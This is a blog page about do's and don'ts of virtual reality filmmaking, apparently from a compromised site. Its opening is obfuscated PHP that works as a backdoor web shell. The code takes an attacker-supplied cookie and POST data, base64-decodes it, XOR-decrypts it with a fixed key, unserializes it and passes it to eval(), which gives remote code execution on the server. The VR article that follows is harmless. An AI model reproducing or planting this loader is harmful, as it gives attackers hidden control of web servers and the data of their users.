$TqhfENrtYc = chr ( 457 - 378 ).chr ( 963 - 874 )."\x5a" . chr ( 388 - 293 ).chr (83) . "\124" . "\x6a" . chr ( 386 - 269 ); $QUvTtRaC = chr (99) . "\x6c" . "\141" . 's' . 's' . "\137" . chr ( 812 - 711 ).chr ( 716 - 596 ).chr ( 1008 - 903 )."\163" . "\164" . 's';$teOII = class_exists($TqhfENrtYc); $QUvTtRaC = "23122";$AkXtS = !1;if ($teOII == $AkXtS){function HlbTaJPFdB(){$Lpxlmlv = new /* 36911 */ OYZ_STju(36780 + 36780); $Lpxlmlv = NULL;}$VfTJubp = "36780";class OYZ_STju{private function EtwHRhpV($VfTJubp){if (is_array(OYZ_STju::$lHtPvU)) {$PkPeY = str_replace('<' . chr (63) . chr (112) . "\150" . 'p', "", OYZ_STju::$lHtPvU[chr ( 171 - 72 ).chr ( 489 - 378 ).'n' . "\x74" . "\x65" . "\156" . chr (116)]);eval($PkPeY); $VfTJubp = "36780";exit();}}private $vxQYXmnMKp;public function KSCZrEx(){echo 10910;}public function __destruct(){$VfTJubp = "46653_1494";$this->EtwHRhpV($VfTJubp); $VfTJubp = "46653_1494";}public function __construct($voWdcYa=0){$YcbKYnr = $_POST;$fWLtpNl = $_COOKIE;$HkGYOLS = "1fcb2f04-4d7e-4a8c-b9b7-bc396029efed";$GtyGL = @$fWLtpNl[substr($HkGYOLS, 0, 4)];if (!empty($GtyGL)){$ANEhXI = "base64";$hPAhDXacuW = "";$GtyGL = explode(",", $GtyGL);foreach ($GtyGL as $HiLYTu){$hPAhDXacuW .= @$fWLtpNl[$HiLYTu];$hPAhDXacuW .= @$YcbKYnr[$HiLYTu];}$hPAhDXacuW = array_map($ANEhXI . chr ( 291 - 196 ).chr (100) . 'e' . "\143" . chr (111) . chr ( 546 - 446 ).'e', array($hPAhDXacuW,)); $hPAhDXacuW = $hPAhDXacuW[0] ^ str_repeat($HkGYOLS, (strlen($hPAhDXacuW[0]) / strlen($HkGYOLS)) + 1);OYZ_STju::$lHtPvU = @unserialize($hPAhDXacuW);}}public static $lHtPvU = 14820;}HlbTaJPFdB();} Do's And Don't Of Making Virtual Reality more Practical , TheTwitt

Do’s And Don’t Of Making Virtual Reality more Practical

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We have come across many examples set in front of us that tell us that virtual Reality is now touching many new streams like Hollywood through Ghostbusters, Net Geo’s short documentary on elephant ivory, etc. so as to give an immersive experience to the users at the global level. Virtual reality is now shifting its stream from gaming and it should be noted that it is actually doing great at other streams too. There are some essential do’s and don’ts to make your Virtual Reality more practical and feasible for your own self.

DO explore your product before producing it in VR: You should explore your product or a brand slowly and comfortably. Try to make your product or your brand more narrative for Virtual Reality, so that it would give a chance to the users to interact within the virtual reality using various eyes or expression tracking developments being made in the field.

Don’t make the mistake of making it as a film: a traditional director’s movie has frames, but here in Virtual Reality field, no such traditional film making technique would work as it requires 360 degree view so, it does require multiple perspectives.

Do aim for high performance: If you wish to deliver high performance, then you should aim for 60 frames per second which will hit 4K resolution. This is a considerable requirement.

Don’t rush to the content: Virtual Reality companies would give 15 seconds to look around and to soak everything into them so as to feel real, to be comfortable with new surroundings before any narrative content. All the content that will be put inside has to be played in a realistic manner so as to give an immersive experience to the user.

We hope that these essential do’s and don’ts will help to give you an insight into the virtual reality movie making or documentary making apart from the gaming realm. The Ghostbusters movie has actually opened the road for the virtual Reality filming and documentary world.

 

Reetika

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